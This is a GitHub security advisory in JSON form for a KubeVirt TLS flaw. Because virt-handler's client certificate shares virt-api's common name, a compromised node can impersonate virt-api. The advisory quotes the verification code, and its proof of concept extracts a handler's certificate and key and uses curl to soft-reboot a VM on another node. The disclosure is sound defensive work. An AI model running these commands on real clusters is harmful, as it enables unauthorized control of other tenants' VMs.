{"schema_version":"1.7.5","id":"GHSA-ggp9-c99x-54gp","published":"2025-11-06T23:35:03Z","modified":"2026-03-25T20:29:15.085585Z","aliases":["CVE-2025-64434","GO-2025-4107"],"related":["CGA-6qxq-34gx-2p5j"],"summary":"KubeVirt's Improper TLS Certificate Management Handling Allows API Identity Spoofing","details":"### Summary\nDue to improper TLS certificate management, a compromised `virt-handler` could impersonate `virt-api` by using its own TLS credentials, allowing it to initiate privileged operations against another `virt-handler`.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nBecause of improper TLS certificate management, a compromised `virt-handler` instance can reuse its TLS bundle to impersonate `virt-api`, enabling unauthorized access to VM lifecycle operations on other `virt-handler` nodes. \nThe `virt-api` component acts as a sub-resource server, and it proxies API VM lifecycle requests to `virt-handler` instances.\nThe communication between `virt-api` and `virt-handler` instances is secured using mTLS. The former acts as a client while the latter as the server. The client certificate used by `virt-api` is defined in the source code as follows and have the following properties: \n\n```go\n//pkg/virt-api/api.go\n\nconst (\n\t...\n\tdefaultCAConfigMapName     = \"kubevirt-ca\"\n  ...\n\tdefaultHandlerCertFilePath = \"/etc/virt-handler/clientcertificates/tls.crt\"\n\tdefaultHandlerKeyFilePath  = \"/etc/virt-handler/clientcertificates/tls.key\"\n)\n```\n\n```bash\n# verify virt-api's certificate properties from the docker container in which it is deployed using Minikube\nadmin@minikube:~$ openssl x509 -text -in \\ \n$(CID=$(docker ps --filter 'Name=virt-api' --format '{{.ID}}' | head -n 1) && \\\ndocker inspect $CID | grep \"clientcertificates:ro\" | cut -d \":\" -f1 | \\\ntr -d '\"[:space:]')/tls.crt | \\\ngrep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\nSerial Number: 127940157512425330 (0x1c688e539091f72)\nIssuer: CN = kubevirt.io@1747579138\nSubject: CN = kubevirt.io:system:client:virt-handler\n```\n\nThe `virt-handler` component verifies the signature of client certificates using a self-signed root CA. This latter is generated by `virt-operator` when the KubeVirt stack is deployed and it is stored within a ConfigMap in the `kubevirt` namespace. **This configmap is used as a trust anchor** by all `virt-handler` instances to verify client certificates.\n\n```bash\n# inspect the self-signed root CA used to sign virt-api and virt-handler's certificates\nadmin@minikube:~$ kubectl -n kubevirt get configmap kubevirt-ca -o jsonpath='{.data.ca-bundle}' | openssl x509 -text | grep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\nSerial Number: 319368675363923930 (0x46ea01e3f7427da)\nIssuer: CN=kubevirt.io@1747579138\nSubject: CN=kubevirt.io@1747579138\n```\n\nThe `kubevirt-ca` is also used to sign the server certificate which is used by a `virt-handler` instance:\n\n\n```bash\nadmin@minikube:~$ openssl x509 -text -in \\ \n$(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && \\\ndocker inspect $CID | grep \"servercertificates:ro\" | cut -d \":\" -f1 | \\\ntr -d '\"[:space:]')/tls.crt | \\\ngrep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\n# the virt-handler's server ceriticate is issued by the same root CA\nSerial Number: 7584450293644921758 (0x6941615ba1500b9e)\nIssuer: CN = kubevirt.io@1747579138\nSubject: CN = kubevirt.io:system:node:virt-handler\n```\n\n\nIn addition to the validity of the signature, the `virt-handler` component also verifies the CN field of the presented certificate:\n\n<code.sec.SetupTLSForVirtHandlerServer>\n```go \n//pkg/util/tls/tls.go\n\nfunc SetupTLSForVirtHandlerServer(caManager ClientCAManager, certManager certificate.Manager, externallyManaged bool, clusterConfig *virtconfig.ClusterConfig) *tls.Config {\n\t// #nosec cause: InsecureSkipVerify: true\n\t// resolution: Neither the client nor the server should validate anything itself, `VerifyPeerCertificate` is still executed\n\t\n\t//...\n\t\t\t\t// XXX: We need to verify the cert ourselves because we don't have DNS or IP on the certs at the moment\n\t\t\t\tVerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {\n\t\t\t\t\treturn verifyPeerCert(rawCerts, externallyManaged, certPool, x509.ExtKeyUsageClientAuth, \"client\")\n\t\t\t\t},\n\t\t\t\t//...\n}\n\nfunc verifyPeerCert(rawCerts [][]byte, externallyManaged bool, certPool *x509.CertPool, usage x509.ExtKeyUsage, commonName string) error {\n  //...\n\trawPeer, rawIntermediates := rawCerts[0], rawCerts[1:]\n\tc, err := x509.ParseCertificate(rawPeer)\n\t//...\n\tfullCommonName := fmt.Sprintf(\"kubevirt.io:system:%s:virt-handler\", commonName)\n\tif !externallyManaged && c.Subject.CommonName != fullCommonName {\n\t\treturn fmt.Errorf(\"common name is invalid, expected %s, but got %s\", fullCommonName, c.Subject.CommonName)\n\t}\n\t//...\n```\n\n\nThe above code illustrates that client certificates accepted be KubeVirt should have as CN `kubevirt.io:system:client:virt-handler` which is the same as the CN present in the `virt-api`'s certificate. **However, the latter is not the only component in the KubeVirt stack which can communicate with a `virt-handler` instance**. \n\nIn addition to the extension API server, any other `virt-handler` can communicate with it. This happens in the context of VM migration operations. When a VM is migrated from one node to another, the `virt-handler`s on both nodes are going to use structures called `ProxyManager` to communicate back and forth on the state of the migration. \n\n```go\n//pkg/virt-handler/migration-proxy/migration-proxy.go\n\nfunc NewMigrationProxyManager(serverTLSConfig *tls.Config, clientTLSConfig *tls.Config, config *virtconfig.ClusterConfig) ProxyManager {\n\treturn &migrationProxyManager{\n\t\tsourceProxies:   make(map[string][]*migrationProxy),\n\t\ttargetProxies:   make(map[string][]*migrationProxy),\n\t\tserverTLSConfig: serverTLSConfig,\n\t\tclientTLSConfig: clientTLSConfig,\n\t\tconfig:          config,\n\t}\n}\n```\n\n\nThis communication follows a classical client-server model, where the `virt-handler` on the migration source node acts as a client and the `virt-handler` on the migration destination node acts as a server. This communication is also secured using mTLS. The server certificate presented by the `virt-handler` acting as a migration destination node is the same as the one which is used for the communication between the same `virt-handler` and the `virt-api` in the context of VM lifecycle operations (`CN=kubevirt.io:system:node:virt-handler`). However, the client certificate  which is used by a `virt-handler` instance has the same CN as the client certificate used by `virt-api`.\n\n\n\n```bash\nadmin@minikube:~$ openssl x509 -text -in $(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && docker inspect $CID | grep \"clientcertificates:ro\" | cut -d \":\" -f1 | tr -d '\"[:space:]')/tls.crt | grep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\nSerial Number: 2951695854686290384 (0x28f687bdb791c1d0)\nIssuer: CN = kubevirt.io@1747579138\nSubject: CN = kubevirt.io:system:client:virt-handler\n\n```\n\nAlthough the migration procedure, where two separate `virt-handler` instances coordinate the transfer of a VM's state, is not directly tied to the communication between `virt-api` and `virt-handler` during VM lifecycle management, there is a critical overlap in the TLS authentication mechanism. Specifically, the client certificate used by both `virt-handler` and `virt-api` shares the same CN field, despite the use of different, randomly allocated ports, for the two types of communication.\n\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nTo illustrate the vulnerability, a Minikube cluster has been deployed with two nodes (`minikube` and `minikube-m02`) thus, with two `virt-handler` instances alongside a vmi running on one of the nodes. It is considered that an attacker has obtained access to the client certificate bundle used by the `virt-handler` instance running on the compromised node (`minikube`) while the virtual machine is running on the other node (`minikube-m02`). Thus, they can interact with the sub-resource API exposed by the other `virt-handler` instance and control the lifecycle of the VMs running on the other node:\n\n\n```yaml\n# the deployed VMI on the non-compromised node minikube-m02\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n  labels:\n  kubevirt.io/size: small\n  name: mishandling-common-name-in-certificate-handler\nspec:\n  domain:\n    devices:\n      disks:\n      - name: containerdisk\n        disk:\n          bus: virtio\n\n      - name: cloudinitdisk\n        disk:\n          bus: virtio\n    resources:\n      requests:\n        memory: 1024M\n  terminationGracePeriodSeconds: 0\n  volumes:\n  - name: containerdisk\n    containerDisk:\n      image: quay.io/kubevirt/cirros-container-disk-demo\n  - name: cloudinitdisk      \n    cloudInitNoCloud:\n      userDataBase64: SGkuXG4=\n```\n\n\n```bash\n# the IP of the non-compromised handler running on the node minikube-m02 is 10.244.1.3\nattacker@minikube:~$ curl -k https://10.244.1.3:8186/\ncurl: (56) OpenSSL SSL_read: error:0A00045C:SSL routines::tlsv13 alert certificate required, errno 0\n# get the certificate bundle directory and redo the request\nattacker@minikube:~$ export CERT_DIR=$(docker inspect $(docker ps --filter 'Name=virt-handler' --format='{{.ID}}' | head -n 1) | grep \"clientcertificates:ro\" | cut -d ':' -f1 | tr -d '\"[:space:]')\n\nattacker@minikube:~$ curl -k  --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key  https://10.244.1.3:8186/\n404: Page Not Found\n\n# soft reboot the VMI instance running on the other node\nattacker@minikube:~$ curl -ki  --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key  https://10.244.1.3:8186/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-handler/softreboot  -XPUT\nHTTP/1.1 202 Accepted\n# the VMI mishandling-common-name-in-certificate-handler has been rebooted\n```\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nDue to the peer verification logic in `virt-handler` (via `verifyPeerCert`), an attacker who compromises a `virt-handler` instance, could exploit these shared credentials to impersonate `virt-api` and execute privileged operations against other `virt-handler` instances potentially compromising the integrity and availability of the managed by it VM.","affected":[{"package":{"name":"kubevirt.io/kubevirt","ecosystem":"Go","purl":"pkg:golang/kubevirt.io/kubevirt"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.5.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/11/GHSA-ggp9-c99x-54gp/GHSA-ggp9-c99x-54gp.json"}},{"package":{"name":"kubevirt.io/kubevirt","ecosystem":"Go","purl":"pkg:golang/kubevirt.io/kubevirt"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.6.0-alpha.0"},{"fixed":"1.6.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/11/GHSA-ggp9-c99x-54gp/GHSA-ggp9-c99x-54gp.json"}}],"references":[{"type":"WEB","url":"https://github.com/kubevirt/kubevirt/security/advisories/GHSA-ggp9-c99x-54gp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64434"},{"type":"WEB","url":"https://github.com/kubevirt/kubevirt/commit/231dc69723f331dc02f65a31ab4c3d6869f40d6a"},{"type":"WEB","url":"https://github.com/kubevirt/kubevirt/commit/af2f08a9a186eccc650f87c30ab3e07b669e8b5b"},{"type":"WEB","url":"https://github.com/kubevirt/kubevirt/commit/b9773bc588e6e18ece896a2dad5336ef7a653074"},{"type":"PACKAGE","url":"https://github.com/kubevirt/kubevirt"}],"database_specific":{"cwe_ids":["CWE-287"],"github_reviewed":true,"github_reviewed_at":"2025-11-06T23:35:03Z","nvd_published_at":"2025-11-07T23:15:45Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H"}]}